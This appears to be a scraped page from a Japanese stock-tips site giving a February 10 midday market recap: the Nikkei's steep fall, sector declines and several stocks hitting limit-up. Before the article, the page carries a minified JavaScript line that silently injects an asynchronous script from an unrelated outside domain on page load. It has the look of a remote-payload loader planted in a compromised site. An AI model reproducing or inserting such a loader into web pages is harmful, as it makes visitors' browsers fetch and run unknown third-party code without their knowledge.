;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/10 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/10 前引け】

前場の日経平均株価は385円安と大幅続落。前日の欧米株安、原油先物価格は下げ止まらずだったが連日の大幅安の反動もあってか朝方はやや買い優勢でのスタート。ただ、買い一巡後は為替相場が再び1ドル=114円台に入りこれを嫌気しマイナス転換となるとその後も下げ止まらず急速に下げ幅を拡大。日経平均は1年3ヶ月ぶりの1万6000円割れとなった。業種別では、前日に続き全33業種全てが下落。値下がり上位には、情報・通信業、その他金融業、非鉄金属など。

個別では、【3331】雑貨屋ブルドッグが3日連続のストップ高となったほか、ヒト化マウスに関する特許が日本で成立との報道から【2342】トランスジェニック、CBP501の膵臓癌への薬効確認について東大と共同研究と報じられた【4575】キャンバスなどがストップ高となった。また、次世代マルチ決済装置の発売を好感の【3753】フライトホールディングス。今期大幅増益見通しとなった【6269】三井海洋開発、AOI国際病院と特定細胞加工物製造委受託契約を締結した【2370】メディネットなども急伸している。

日経平均は直近付けた最安値を割りダブルボトムを否定。一番底模索の展開へ!底が完全に見えない状況となっており、引き続き様子見スタンス継続の個別株物色。ただ、前日もいったが個別株もこの地合いの中ではいつ急落がきてもおかしくない分の悪い勝負になる可能性が高く無理は禁物だ!